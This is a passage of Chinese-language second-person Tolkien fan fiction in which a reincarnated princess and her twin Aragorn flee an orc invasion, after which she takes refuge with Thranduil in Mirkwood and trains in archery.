整理着整理着,他的注意力就被转移,他盯着镜子里的你们俩,在寻找你们之间的区别,你的眼睛要更蓝一些,还有你的眉峰压着眼睛,因此当你微微皱眉的时候就散发出几分压迫感,除此之外你们之间好像没有太多的区别,哦对了,你的头发更加柔顺一些,而且还更加蓬松。 他依稀记得你其实是有梨涡的,但因为你平常顶多只是浅浅的微笑,所以这个梨涡并不明显,但他确实见到过你笑容灿烂的样子,那两个梨涡也随之浮现。 “我们真的很像。”阿拉贡说。 “以后就不会那么相似了。”你用梳子梳理头发。 阿拉贡可不那么觉得,直到后来你们去往餐厅的路上他都在说:“不会的,我们以后也还会那么相似的。” 你被他说得烦了,就说:“那你就不怕我以后冒充你干尽坏事吗?那么到时候大家都会以为作恶的人是你,即便这样也无所谓吗?” “……如果那么做能让你开心的话,又为什么不可以呢?” 他会那么说是因为在他的认知中,所谓的坏事顶多就是偷吃厨房的点心,翘课又或者是弄脏藏书库的书籍,还有捉弄马夫养的那条牧犬。 “阿拉贡,这一次我会装作没听见你说的这番话,但以后你再这么说,终有一日你会为自己所说的话感到后悔的。”你一字一顿地说。 这让阿拉贡更加疑惑了,你为什么要装作没听见呢?还有后悔……他又怎么会后悔呢?唉,你说的话他有时候只能听懂一半,现在更是一大半都听不懂。 “我不会——”他的话没说完,因为你当即伸出手捂住他的嘴巴,打住他之后要说的话。 你怎么又捂他的嘴巴啊?阿拉贡再次不解地眨了眨眼睛,过了一会还是侍女来敲门了你才收回手,你瞥了阿拉贡一眼,“我们该去吃晚餐了。” 今天晚餐时的气氛有些压抑,你从你父亲手下的只言片语里拼凑出让气氛压抑的主要原因,那就是领地周边又有半兽人军队来犯,而且此次攻击来势汹汹,打得边境的军队猝不及防,尽管从都城还有其他地方及时派遣军队过去,但边境还是被撕开了一道口子。 阿拉松皱着眉,神色凝重,就连阿拉贡也感觉到了气氛的不对劲,因为在餐桌旁的母亲亦或是父亲都沉默不语,他难以从他们脸上看到笑容,他握着刀叉的手收紧,“是……发生了什么吗?” “没什么,你们先吃晚餐吧,我还有别的事情。”阿拉松对着你们勉强笑了一下,旋即起身离开,阿拉贡目送父亲阿拉松的背影消失在门口,然后他再没回来过,阿拉贡转过头又对你说:“你觉得为什么他会那么严肃呢?” 母亲吉尔蕾恩中断你们的对话,她勉强地笑着说:“你们为什么都没怎么吃晚餐?没胃口吗?” 不希望母亲伤心的阿拉贡赶紧挖了一勺土豆泥,“不,我们刚才就是在说悄悄话。” 接着阿拉贡又埋头认真进食,后来你们的母亲吉尔蕾恩也借故离开餐厅,餐厅里只剩下你和阿拉贡还有几个守在旁边的侍女,你不像阿拉贡还能为了照顾母亲吉尔蕾恩的心情多吃几口晚餐,你是真的没什么胃口,因为你深知如果一个半兽人军队的兵力足够多,确实可以将一个人类领地踏平,如果换做上一个副本成年的你或许还能带兵抗击,但现在你才这点岁数,你就连一把真正的宝剑都没办法顺利挥舞,连一把成年人的弓箭都难以拉开。 这突如其来的境地改变让你感到烦躁,你喝了一口果汁,就下桌要离开餐厅,阿拉贡追了上来,他握住你的手腕,“你只吃这些晚上肯定会饿的。” “比起吃东西,现在还有更重要的事情在等着我。”尽管你确实能隐约感知到胃部传来的烧灼感,胃真不愧是情绪器官,你的焦虑正在侵蚀这个器官。 “什么事情?你想要帮助我们的父亲吗?”直觉告诉他你要做的事情与此有关,可是你又该怎么帮忙呢?你,还有他都只是孩子而已。 其实你不怎么讨厌这个副本的双亲,因为他们对你没有过度的保护欲,而且也不认为你是生来的弱者,只是偶尔你的母亲还是会希望你能够更加淑女一些,但这些都还在你的忍受范围内,而且更重要的一点是,你无法允许黑暗生物玷污这片领地。 你的脚步没有停下来过,你步履匆匆地穿过走廊,阿拉贡很快就被你甩到身后,他注视你的背影,有一瞬间仿佛在你身上看到了你们父亲的影子,他反应过来以后忙不迭地跟上去。 你没有回自己的房间,而是去了书房,然后从抽屉里抽出几张信纸,阿拉贡姗姗来迟,他走到书房以后就把门关上,然后坐在你对面的位置,隔着办公桌看向你,他瞧见你拿出信纸的动作,只见你把信纸铺平放在办公桌上,然后拿出羽毛笔蘸取墨水,他不由地问道:“你打算给谁写信?”如今他们又能向谁求救呢?谁又会回应他们请求呢? 他的问题没有得到回答,你拿着羽毛笔在空白的信纸上写下第一句话,阿拉贡看清你在纸上写的第一句话。 ——致多尔罗明的统帅。 这封信是写给多尔罗明的,但是据他所知多尔罗明和他们平常都没什么往来,顶多就是一些贸易往来,而且他们也不算是多尔罗明的重要合作伙伴,对方又怎么可能会为此而派兵救援呢? 阿拉贡不确定地问道:“你觉得这封信真的会有用吗?” “如果我不写这封信,并且不做任何尝试,那么就绝对不会有用的。”你头也没抬,专注地写下其他内容,恳请对方能够派兵增援,你本来还在思索要不要告诉对方一些只有曾经的伊玟陛下才知道的东西,但是你思考再三,一来对方说不定也不知道这些秘闻,二来就算是知道这些秘闻,他们又怎么会相信你就是曾经的伊玟陛下,毕竟前世今生这种东西往往只出现在故事书里。 所以你只是在信中陈述多尔罗明假如能够出手相助,这举动不仅是保护了商业上的合作伙伴,日后也会多出一位政治上的合作伙伴。 写到最后,你把羽毛笔放到一边,等待墨水变干,在此期间阿拉贡单手托腮,他的目光扫过你的信件内容,从你的笔迹来看完全看不出来你还只是个小孩子。 你侧过头看向窗外,眺望远方的风景,你忽然又想到了什么,于是又拿出一张全新的信纸,阿拉贡不由地问:“你还要写信给谁呢?” “给一位精灵,但我……”你停顿了一下,你真的要那么做吗?先不提吉尔-加拉德会不会收到你的信件,再者说了,纳国斯隆德距离这里十分遥远,就算他真的收到信件,再赶过来兴许也来不及了。 你想了想,在这里选择存档,然后再次拿起羽毛笔,这一次你没有写什么多余的问候,也没有列出许多条恳请提供救援的理由,你只是在上面写下一句话。 这封信的内容你没有让阿拉贡看见,仅仅只是那么一句话,墨水干得很快,你动作干脆利落地折叠信纸,然后把信纸塞到信封里,再将信封口。 做完这些,你写的第一封信墨迹也差不多变干,你如法炮制把这封信封口,然后交给信使送出去,你特意嘱咐信使这两封信是加急信,对方点头表示自己明白了,转身骑马消失在浓重的夜色中。 直到看不见信使的背影,你这才收回目光,这场与半兽人的战争来得太突然,而且还毫无征兆,明明在此之前你都没有捕捉到任何战争爆发的蛛丝马迹,因为太过突如其来,以至于让你嗅到了几分蹊跷的味道。 事实证明你的直觉是正确的,那只浩浩荡荡的半兽人 军队正是远在魔多的索伦派出的,他那么做的原因还得要追溯到几年前,在你与阿拉贡降生于这个世界的时候,索伦的手下,某位拥有预言能力的人类便说:“星辰再次坠落,将大陆指向另外一个未来。” 在其他人听来这似乎只是一个没头没尾的预言,而且很宽泛,没有那么强的指向性,但是在索伦听来,这位曾经的魔苟斯的军师,在魔苟斯被清算的时候凭借谨慎小心以及狡猾的本性逃离追捕的堕落迈雅,他一下子就想到了几千年前的你,那位承载着人类珍宝的头衔而降临于世的公主,同样也是利用虚情假意欺骗背叛魔苟斯的人类。 你本该在几千年前死去,就和每个人类最终的结局一样,接过伊露维塔的馈赠,接受自己的死亡。 难道是你当初就没有死吗?索伦的脑海里冒出这样一个疑问,他甚至悄无声息地潜入多尔罗明去往你的坟墓,打开你的棺椁,看着水晶棺内化作白骨的你,即便看到眼前这一切,他却始终没有放下心来。 有什么事情即将发生……如果他不做点什么的话,那么几千年前的历史又会重演,再一次重蹈覆辙。 后来索伦想到了什么,有没有一种可能,你再一次来到这个世界上,不过是以另外一具躯体,以另外一个身份,思考到这里索伦他豁然开朗。 于是他开始搜寻这段时间内降生的人类,再经过一步步地排查,最后查到阿拉松的那对双生子头上,听说那对双生子从小就展现出非凡的才智。 索伦本想直接对你们这两个双生子下手,可是无奈的是你们的父亲阿拉松对黑暗势力十分警惕,他无法那么轻而易举地接近你们,更别提带走你们,除非阿拉松的注意力被什么事情转移,比如说——突然来犯的半兽人军队。 目前看来他的计划差不多成功了一半,因为现在阿拉松的注意力确实被前线的战事所吸引,在他的不知不觉间,黑暗的影子即将降临于他的城堡,降临在他的一双儿女身上。 信件寄出的当天晚上你彻夜未眠,与你同一个房间的阿拉贡也没什么睡意,他侧躺着看向你,“亚玟,我睡不着。”他很担心有什么坏事要发生了,他从床上爬起来,下床,走到你的床边,他小声地,用请求的语气对你说:“我能和你靠在一块吗?” 屋内没有点灯,仅有的光源是从窗帘缝隙里漏进来的月光,你借着月光看他,过了一会你才说:“过来吧,阿拉贡。” 阿拉贡躺在你身边,他说:“如果真的半兽人军队攻打到这里了,那我肯定要拿起宝剑和你一起保护这里。” 他说的是和你一起并肩作战,而不是理所当然地把你划分在需要被保护的那一范围内,“正好我们还有一对匕首。”说着,他想象了一下与你共同守护家园的画面,他会将后背交给你,而你也是。 “你也知道那只是一对匕首啊,恐怕都难以刺穿半兽人的眼睛。”你说,他根本没见识过真正的半兽人军队。 “就算这样我也不会放弃反抗的。”阿拉贡伸出手挥舞了一下,仿佛他现在手里真的拿着那一把匕首。 你曾经也说过这样的话语,但那都是很久以前的事情了,听到他那么说,你不由地恍惚了一秒。 房间内的空气变得很安静,几秒过后,阿拉贡的声音又响起,“那封信会得到回音吗?” 说实话你心里也没底,但如果什么都不做就这样坐以待毙,这也不是你的行事风格。 “谁知道呢?”这不是你第一次在赌一个可能性,在上一个副本里你就赌过很多次,赌埃欧尔狠不下心杀死你,赌魔苟斯会被你欺骗,赌格洛芬德尔会成为你的共犯,诸如此类的事情太多太多了。 过了许久,久到你都要以为阿拉贡已经睡着了,在你闭上双眼的时候你的耳边又响起他的声音,他说得很轻,只有你们能听见。 他说:“我不要和你分别。” 你没做声,装作自己已经睡着了,装作自己没听见他这话。 得要感谢夜晚的黑暗,遮蔽你的面庞,让你那么顺利地装睡。 接下来一连几天你们的父亲阿拉松都没有出现在城堡里,你还记得他离开前同时抱着你和阿拉贡,“我的孩子,乖乖地待在这里,不要再乱跑了,尤其是你,亚玟,这些天不要再去集市凑热闹了。还有你,阿拉贡,好好照顾你们的母亲。” 原来他一直以来都知道你偷偷跑到集市上,只是从来没有点破过,他为什么不点破呢?就该像你上个副本的父亲贡多一样告诉你不能那么做才对啊…… 阿拉松察觉到你的困惑,他只是抚摸你的头发,“你们虽然是双生子,但性格不同,不过幸运的是你们性格能够互补,我希望你们日后能够相互扶持,相互帮助,更重要的是,爱着对方,就如同我和你们的母亲那样深爱着你们。” 他说的这番话是什么意思?你更加疑惑了,眼看着阿拉松起身要离开,你抓住他的衣角,“在你看来我和阿拉贡是一样的吗?都是平等的个体吗?” “当然,而且我很高兴你具有治理的才能,亚玟,能有你这样的孩子是我的荣幸。” 他的话音落下,你也松开手,注视着他的背影随着距离拉远而逐渐变小,最后彻底消失。 在那以后你再没见过阿拉松,你对他其实不怎么熟悉,因为一天之中你最多就是在晚餐的餐桌上见到他,他会用小花猫小马驹等一系列小动物来形容你和阿拉贡,你与他并不亲近,在他和阿拉贡相亲相爱的时候你仅仅只是站在一旁。 你只是一个旁观者而已,你想。 可他今天说的这一番话却让你陷入沉思,他好像比你想象的还要了解你,你的这份疑虑持续了很久,最后是被阿拉松的死讯打断的。 还没来得及为此感到悲伤,半兽人的军队很快就攻打到了都城,你的母亲吉尔蕾恩急匆匆地打包行李带着你们在护卫队的保护下逃离都城,去往幽谷。 你坐在马车上亲眼看着半兽人的军队攻破城门,涌入都城内,还没等你产生愤怒亦或是难过的情感,你就听见身边阿拉贡哭泣的声音,你转过头,看见阿拉贡不知何时在早已泪流满面,他的眼眶通红,“我……总有一天我要把他们都从这片领土上驱逐出去!” “眼泪没有任何用处。”你平静地说,然后捧起他的脸擦去上面的眼泪,不过你确实很欣赏他报复回去的决心,因此你的语气也带着几分安慰。 在弥漫着硝烟味血腥味的那个傍晚你们逃离自己生活的家园,后来你还是在阿拉贡的提醒下才想起来那一天恰好是你们的六岁生日。 不幸往往不会单独出现,这就是祸不单行的由来,你们在离开都城前往幽谷的第七天遭遇了来自座狼和半兽人的攻击,那些座狼撕咬着护卫队士兵的躯体,这种情况下乘坐马车也不是一个合适的选择,剩余的士兵也想到了这一点,马车两侧的士兵分别将你和阿拉贡抱到不同的马匹上。 阿拉贡克制着担忧的情绪,但你从他的眼神里看出他担忧极了,他多次转头看向你,生怕你和你身边的士兵会突然被座狼攻击。 维拉啊——如果可以的话,请庇护我的妹妹不要受到攻击,在这样危急的时刻阿拉贡在内心祈祷。 可是下一秒,三五只座狼朝着你们袭来,硬生生将你们的队伍分开,将阿拉贡和你分开。 他眼睁睁地看着你被马匹带往另外一个方向,与他截然不同的方向,你隔着夜色看见阿拉贡拼命向你伸出手,仿佛这样能离你近一些,但无济于事,因为你们之间的距离还在不断拉长。 终于,他发出撕心裂肺的哀嚎声,“亚玟——!亚玟——!!” 第65章 第65章“你确实和你的父亲长得…… 座狼的吼叫声不绝于耳,你被士兵护在怀里,因为队伍的分散,座狼一时之间也不确定该追踪哪一方,这反而给了你们逃跑的机会,你的视线都被士兵的盔甲遮挡,只能通过听觉还有嗅觉来感知周围的环境,也不知道过了多久,座狼的吼声逐渐消弭,你们成功甩开了他们,但你也没有因此松一口气。 因为根据你对那些黑暗生物,以及他们的幕后主使索伦的了解,他绝不会那么轻易 地放过你们,这还只是个开始而已。 待到天边浮现出一缕隐约的天光,你眼角的余光捕捉到那道天光,便从士兵怀里探出头来,轻轻地说:“天亮了。” 那位士兵也说:“黑暗生物不会在白天赶路,所以您暂时安全了。”那是一道女声,其实刚才你就感觉到了不同,你抬起头一看,透过头盔看向她的下半张脸,她是护卫队里少有的女性,但你记住她并不仅仅是因为她的性别,更是因为她有着一个你很熟悉的名字:莉迪亚。 有时候你也会怀疑是不是别的人类也会转生,与你不同的是他们没有保留上一世的记忆,这位名叫莉迪亚的士兵不由地让你想起了很久以前,几千年前,你也曾遇到过一位名叫莉迪亚的人类领袖,她对你说,只有拿起宝剑才能守护自己想要的东西。 “你呢?”你反问,“应该是‘我们都安全了’。” 太阳一点一点地浮上地平线,金灿灿的阳光洒在你和莉迪亚身上,她摘下头盔,那头棕色长发稍显凌乱,她的五官锐利,但看向你的眼神却很温和,她说:“是的,我们都安全了。” 感谢这灿烂的阳光让你们得以喘息片刻,莉迪亚询问你是否饿了,你摇摇头,你现在实在是没什么胃口,莉迪亚就又拿出水囊,“那就先喝点水,否则你会脱水的。” 尽管胃里还在感到难受,但为了避免脱水,你还是喝了几口水,又将水囊还给莉迪亚,接着你又问:“我们现在正在哪里?” 经过几千年的岁月,这片大陆也变得很陌生,这里曾经出现过很多人类政权,然后又覆灭,战争改变局部的地形,人类和精灵以及矮人的日常活动也在改变这里的环境,所以这里不再是你印象中的那片大陆。 虽说你之前也看过最新版的地图,但你很难将地图和现实的地形对上号,所以你不得不询问莉迪亚。 后者收回水囊,她从马背上下来,牵着马匹的缰绳往前走,“这里……我想我们似乎已经偏离了方向,我们本该去幽谷的。” 但你们在座狼还有半兽人的偷袭下直接将方向偏转到了更东部的地方,而且更糟糕的是你们无法回头了,一旦回头就有无穷的追兵在等着你们,如同守株待兔,所以莉迪亚说:“恐怕我们一时半会无法去往幽谷,但据我所知,阿拉松大人也曾和另外一批精灵交好,尽管……” 说到这里,莉迪亚停顿片刻,因为那一批精灵,以及他们为首的精灵王,脾气远没有幽谷的精灵那么好,而且阿拉松和那位精灵王关系也没那么好。 如果说和幽谷的埃尔隆德你们还有些沾亲带故的关系的话,那么这位精灵王……就只是合作的伙伴而已,最好的情况就是他愿意收留你,最坏的情况那就是被赶出精灵的领地。 想到这里,莉迪亚就觉得希望渺茫,但她不会在你面前表现出忧愁的一面,相反地,她深吸一口气,然后露出一个笑容,“我想那位精灵王总不会那么残忍。” 你猜到了她在忧心什么,无非就是担心你们好不容易到了对方的地盘,结果对方来了一句不见人,那你们又该何去何从呢? “我也这么觉得。”只要你给出足够多的利益交换,再狠心的人也会被利益打动,你得要感谢自己在逃跑的时候还不忘带上价值连城的首饰,有的首饰还是幽谷的精灵为你和阿拉贡打造的,那应该能入得了那位精灵王的眼。 就在你们骑马赶往迷雾山脉以东,与矮人王国相望的密林时,另外一边的阿拉贡和母亲吉尔蕾恩也顺利脱险,但阿拉贡脸上没有劫后余生的庆幸,而是一颗又一颗的泪水,他压抑着自己的哭声,没有哭出声来,但母亲吉尔蕾恩早已察觉到他的眼泪,她想要说些什么,可她又能说什么呢?他们亲眼看着你与大队伍分开,然后消失在黑夜里。 任凭谁都会觉得你凶多吉少,吉尔蕾恩的声音也因为悲伤而微微颤抖,她说:“我相信维拉会庇护她的。” 阿拉贡擦去眼泪,“我做过很多次噩梦,每一次都是和她分别的噩梦。”现在他的噩梦成真了,原来这并非噩梦而是预知梦。 吉尔蕾恩抱着阿拉贡,轻轻地拍着他的后背,“不,你们终有一天会见面的。” 不同于阿拉贡的悲伤,被迫在混乱中与家人分开的你倒是没有太多的难过,或许的确会有几分不舍,但除此之外你将自己更多的注意力都放在逃生上面,毕竟索伦那家伙不会轻易地放过你和阿拉贡的,而且你合理怀疑他可能是得到了什么消息,就和他以前的主人一样,在得知人类可能会杀死他以后就对北方的人类斩尽杀绝。 索伦和魔苟斯也确实有些相似的地方,比如说性格多疑这一点,说不定他也担心自己会走魔苟斯的老路,就又对人类十分警惕。 * 你和莉迪亚白天的时候都在赶路,到了晚上就找个隐蔽的山洞躲起来,也不生火免得暴露自己的位置。 夜晚降临以后你和莉迪亚藏在山洞里,晚上的气温骤降,你身上裹着莉迪亚给你的披风,你把披风分一半给她,等到你的双手变得暖和了,你就又握住她的双手,将自己的体温传给她。 “莉迪亚,这样会暖和一些吗?”你问道。 闻言,她浅浅地笑了起来,“很暖和,谢谢您。” 后来的几个夜晚你们都是依偎着睡去,其实你这些天的睡眠质量都不怎么样,基本上周围有些风吹草动你就会马上醒来,然后发现莉迪亚也一样地醒了过来,甚至比你醒得还要早,你们什么都没说,只是在确认危机解除以后对视一眼,莉迪亚轻轻地拍了拍你的后背,示意你再睡一会,于是你在她的怀抱里再一次进入梦乡。 这样的日子大约持续了大半个月,你们到达密林的那一天不凑巧的是天空还在淅淅沥沥地下着小雨,但即便是下雨也没有阻止你们赶路的步伐,马蹄踏碎被泥水沾染的杂草,你们的脚步最终停留在密林的入口,也就是那条小径的入口。 还没等你们做些什么,一群西尔凡精灵就不知从哪里冒了出来,纷纷拉开弓,齐刷刷地将弓箭对准你们,为首的精有着一头棕褐色长发,他问道:“你们是谁?贸然闯入密林的人会被当成入侵者处置。” 莉迪亚说:“我们有事而来,请让我们见一面您们的陛下。” “有事?有什么事?”那个西尔凡精灵也不会因为你们的一句话就放你们进去,相反地,他们还为此提高警惕。 这一次还没等莉迪亚说话你就先一步开口,你说:“我们想要和您的陛下达成一笔交易,我可以保证他绝对会感兴趣的交易,顺带一提,我的父亲曾经是您的陛下的合作伙伴,只不过我们的领土遭遇半兽人军队的袭击,现在也是迫不得已之下才来寻求精灵王的庇护。” 让这群精灵改变的最重要原因还是你搬出自己的身份,以及你的父亲和他们精灵王的交情,好吧,其实也不能算是交情,顶多就是曾经的合作关系而已,但这样一来确实让精灵们的态度有所松动,你瞧见那为首的精灵向斜后方的精灵打了个手势示意对方回去通风报信,紧接着又转过头来,“请稍等片刻,我们还需要得到陛下的指示才能确定是否让你们进入密林。” 你点了点头表示明白,不久之后那个前去通风报信的精灵就又折返回来,一同带回来的还有精灵王瑟兰迪尔的回答,他说:“陛下允许你们进入宫殿。” 听到这里你才不由地松了一口气,你们跟随其他精灵的步伐,穿过那条精灵小径去往藏在密林深处的精灵宫殿,通过宫殿的大门,你又在其他精灵的指引下来到精灵王瑟兰迪尔面前,你的骑士莉迪亚并不被允许与精灵王见面,因此现在的你是孤身一人与拜访瑟兰迪尔。 你摘下斗篷,行走在宽敞的宫殿内,最后脚步停在一处台面上,你向上望去,看见坐在王座上的瑟兰迪尔,他有着一头金 色长发,湛蓝色的眼瞳,他头上戴着的王冠和你曾经见过的精灵王冠不太一样,因为那上面点缀着花草,更像是一顶花冠,你只是瞥了一眼,然后又垂下眼帘,以此来避免你的目光惹恼这位阴晴不定的精灵王。 他和你接触过的精灵里的埃欧尔很像,当然,气质没有埃欧尔那么阴郁,更加明朗一些,但那压迫感只多不少。 因为你是低垂眉眼的,也看不清他起身走下台阶的动作,只是过了一会,他的脚步出现在你的视野内,他说:“你是阿拉松的孩子?抬起头来。” 这精灵的态度可真是有够盛气凌人的,但毕竟你现在正在他的地盘上,而且还有求于他,你便按照他说的做,缓慢地抬起头,他的目光在你脸上停留几秒,而后说:“你确实和你的父亲长得很像。” 他缓步走到你面前,精灵高大的身躯和与之伴随而来的阴影投在你身上,他又说:“我为发生在你父亲身上的事情感到抱歉。” 虽然嘴上说着抱歉,但他的脸上却没有类似的表情,他说:“你知道你的到来很可能会将灾祸也带到密林来吗?”瑟兰迪尔猜到了你们赶来身后肯定还有追兵,这就意味着你不光是要投靠他们,甚至还需要他们派出士兵去解决那些难缠的追兵。 “我知道。”你说,“所以我也想与您达成一笔交易,如果您能够帮助我的话,不光是我这次带来的珠宝,在城堡的密室里还藏着堆积成山的珍宝,那些也全都是您的报酬。” 瑟兰迪尔没有马上回答,他沉吟片刻,“但我又怎么确定你是不是在对我说谎呢?” 你面不改色地对着众维拉起誓,“维拉在上,我所说的一切都是真的,而且我也都会做到,若有不实,就让维拉对我降下惩罚吧。”说完,你又看向瑟兰迪尔。 瑟兰迪尔静静地看向你,你的岁数就算放在人类的年龄来看也很年幼,更别提是从精灵的角度来看,瑟兰迪尔虽然看上去冷酷,但并非完全的冷血,只不过他在做出决定之前还得要考虑到整个密林,以及其他的子民。 他说:“现在我可以肯定你说的都是真的,只不过,我对你还有其他的要求,尽管我可以收留你,给你提供庇护,但是你不能住在宫殿内,我会在宫殿附近为你安排住所的,而且平日里你也不能和其他精灵有过多的往来。” 他那么做不仅仅是为了保护你,更多的是为了保护他的子民,因为从刚才与你的接触来看,你虽然岁数小,但是心智却很成熟,甚至在与精灵谈判时也能那么游刃有余,而其他的西尔凡精灵生性天真单纯,如果与你过多接触的话,他担心会有不好的事情发生,但现在的瑟兰迪尔不会想到正是自己现在的举动反而为后来的故事埋下伏笔。 瑟兰迪尔的举动和以前的迈兹洛斯很像,都是担心你会对他的子民做些什么,而你的反应前后两次都是一样的,看似听从他的安排,但实际上如何,那就不是他所能控制的了。 第66章 第66章“我会……找到她的。”…… 关于你寄出去的那两封信,第一封寄给多尔罗明的信件确实被送到了现任统帅手上,但她没有马上拆开阅读,等到拆开那封信的时候尽管想要派兵支援,但已经来不及了,战火都已经烧到了你们领地的都城,至于第二封信就远没有第一封信那么顺利,途中几经辗转最后还落到吉尔-加拉德手上。 他是在某个雨夜拆开这封信的,那信封都变得皱巴巴的,但在他拆开信封从中抽出信纸然后展开铺平,看到信件的内容时,他的动作顿了一下。 书房的窗户没有关严实,大风吹开窗户,雨水跟着一同滚进来落在那张信纸上,打湿上面的字句,墨迹就这样晕染开来。 上面写着—— “我的星星,纳国斯隆德的石榴花是否还开着?” 一时之间吉尔-加拉德都忘了将窗户关上,他愣愣地盯着那张信纸,那上面的字迹还有这句话的口吻,都要让他以为是你回来了,理智告诉他人类死后灵魂就会离开阿尔达,可是…可是……情感又在劝说他相信一次,就如同落水的人抓住浮木。 万一呢?万一真的是你回来了呢? 可是当他调查起这封信的源头,却发现那块人类领地已经被半兽人军队踏平,他最终还是晚了一步,但他却没有放弃,甚至还特意调查起,那块领地的领主以及他的后代,然而调查得到的结果却不那么乐观,因为他收集到的情报告诉他,领主的后代之一已经顺利到达埃尔隆德的幽谷,但是他的另外一位后代却不幸遇难。 吉尔-加拉德并不相信这个结果,他将那封信收起,和你曾经写给他的信件都收在一块,但显然这封信与其他已经泛黄的信件格格不入。 你尚未知道自己寄出的两封信会带起怎样的风波,毕竟你现在待在密林里消息不算太流通,不过这样也有好处,一来索伦不会马上发现你,二来你也为自己的成长争取到了时间和机会。 虽然瑟兰迪尔要求你不能和其他密林精灵有过多的往来,但架不住你确实擅长和精灵打交道,而且再加上密林的精灵虽然看上去不好惹,但实际上性格天真爽朗,有什么话都直说,直来直往得很,而对于这样的精灵适当的赞美就能增加他们对你的好感度,而把精灵的好感度刷上去了,你就不缺好的箭术老师了。 当然你在跟着精灵学习射箭之前你还让莉迪亚指点你一番,虽然你曾经也很擅长箭术和剑术,但是换了一具身体,其实就相当于满级的理论知识和几乎为零的实践经验,所以基本上得要从头来过,好在你也有足够的耐心,你不缺从头再来的坚持。 而当莉迪亚听闻你要学习射箭的时候她没有多说什么,而是隔天就为你打造了一把适合你这个年龄和身高的弓箭,因为工期很短,所以这把弓箭难免在细节的地方有些粗糙,不过你不在意这些小细节,毕竟这弓箭能用就很不错了,你就把它当成入门级的弓箭。 莉迪亚本来还想着指点你一番的,但是你在拿到弓箭以后就自顾自地上手练习,而且还表现得有模有样的,她从你身上看到了射箭的天赋,不仅仅是射箭的天赋还有剑术的天赋。 “我之前未曾见过您展现出这方面的天赋。”在某次训练的时候莉迪亚这么说,你抽出箭筒里最后一支箭搭在弓弦上,你之前没表现出天赋是因为你认为现在这具身体还太年幼,或许是第一个 副本留下的后遗症,让你十分重视自己的身体健康,虽然练习剑术和射箭也很重要,但这不是一蹴而就的事情,而且欲速则不达,所以总而言之,就是你在此之前都没在他人面前表现过自己的天赋。 “我也没想到自己有这方面的天赋。”你轻飘飘地说,话语间那支搭在弓弦上的弓箭飞了出去,划破空气,正中靶心,你这才收起弓箭,抬头望了一眼天空,你大约判断出现在的时间,大约是中午时分,你走到靶子旁边把上面的箭矢一支一支地拔下来然后收回箭筒里。 瑟兰迪尔给你们安排的住所和精灵宫殿有一段距离,但这一住所也是精心建造而成的,那是一栋两层的小楼,还自带一个后花园,住下你和莉迪亚两人绰绰有余,里面的空间很大,房间也很多,你的卧室在二楼,房间朝阳,还带有一个露天阳台,连接阳台和卧室的门框旁边挂着一个风铃,每次打开通往阳台的门就会发出清脆的叮铃声响,这个风铃不是你自己做的,而是另外一个精灵送的。 一个名为陶瑞尔的精灵,同时也是负责给你送一日三餐的精灵,如果不出意外的话,今天也是她来给你送午餐。 你背着弓箭手里提着装满箭矢的箭筒和莉迪亚往回走,小房子的二楼出现在你的视野里,随之出现的是陶瑞尔的身影,她有着一头显眼的红棕色长发,是一位典型的西尔凡精灵,性格率真明朗,更重要的是,她对你的好感度不低,这得益于你平日里对这份关系的维护,你一见到陶瑞尔就小步跑到她面前,高兴地呼唤着她的名字,“陶瑞尔——今天我们中午吃什么?” “是炖肉和米饭还有沙拉,外加新鲜水果。”还差一杯美酒,那就是最典型的西尔凡精灵日常餐了,这样的饮食荤素搭配合理,非常健康,再加上你每天的锻炼,就算不打开系统面板你都能猜到自己现在各项数值肯定远超上一个副本同年龄的自己。 陶瑞尔将午餐放在餐桌上,她一看你这身装扮还有背后没来得及卸下的弓箭就知道你今天在训练射箭,她把你和莉迪亚的午餐一样一样地从篮子里端出来,与此同时又问:“今天的训练如何?” 你摘下弓箭,“还可以,但如果想要和密林的精灵相比,尤其是非常杰出的战士相比,那我想应该是没什么可比性的。” 听出来你这是在夸奖她,陶瑞尔笑着说:“不要那么着急,你现在还只是个小孩子而已。” 如果你真的只是一个小孩子就好了,但很可惜,你的躯体内装着的是成年人的灵魂,你得要赶在索伦发现你之前尽可能使自己变得强大起来,你放下弓箭以后就坐在餐桌旁自然而然地跳过了陶瑞尔刚才说的那句话,好在接下来就是陶瑞尔和莉迪亚的对话了,莉迪亚说你最近的个子长得飞快,原来的衣服都不合身了。 小孩子的身体就是这样的,进入生长期以后就跟竹笋似的往上窜。 “没关系,我这次还带了几件新衣服过来。”陶瑞尔早就考虑到了这一点,虽然她的性格直爽,但不代表她粗心,相反的,她的心思细腻。 她们聊天的时候你就在旁边安静地享用午餐,等她们聊得差不多了,你也就吃得差不多了,你放下勺子,从篮子里拿出一颗小巧的红苹果,上面还沾着清晨的露水,看得出来这真的很新鲜,你咬了一口,声音清脆,是一颗非常清脆的苹果,而且果肉清甜。 吃完苹果,见陶瑞尔还没有要离开的意思,你就问:“今天你不忙吗?” “嗯,今天我休息,所以可以在这里多呆一会。”虽然他们的陛下一开始还说除了每天的三餐,减少与你们的不必要接触,但很快地,这条规定基本上就作废了,原因也很简单,在其他精灵看来你确实是一位友善可爱的人类孩童,更重要的是,在了解到你的家园被半兽人军队毁于一旦后,哪怕是再铁石心肠的精灵也不免对你带有几分同情,毕竟如果换做是他们的家园被毁,恐怕他们也无法做到像你那样坚强。 在午餐后莉迪亚在收拾餐具,陶瑞尔在旁边测量你的手掌宽度,以及小臂的长度,这都是为了之后给你专门定做宝剑,她测量得很认真,又将这些数据记在心里,然后说:“我很快就会拿着新的宝剑来见你的。” 说起来西尔凡精灵应该算是木精灵的一个分支,如果真的要追溯上去,应该也是起源于泰勒瑞精灵,在你的印象里最擅长锻造的是诺多精灵,不过无论是哪一族的精灵,他们锻造技艺总的来说都不会差到哪里去。 因此你也顺着她的意思点了点头,陶瑞尔又问:“你还有什么需要的吗?” 你认真思考许久,好像真的没什么需要的,又或者说,你想要的东西陶瑞尔也给不了你,就比如夺回自己的家园,又比如手刃索伦,后者的难度会稍微高一点,因为狡猾的索伦打造了许多枚戒指来试图控制中土的种族,无论是精灵还是人类亦或是矮人,他甚至还为此打造了一枚至尊魔戒来统领其他的戒指。 该说不说,他很会挑时间,专门挑在大部分第一纪元的精灵因为灵魂感受到疲惫后选择西渡回到维林诺以后才开始作乱,但凡那些第一纪元的精灵还在这里,也轮不到他来作乱。 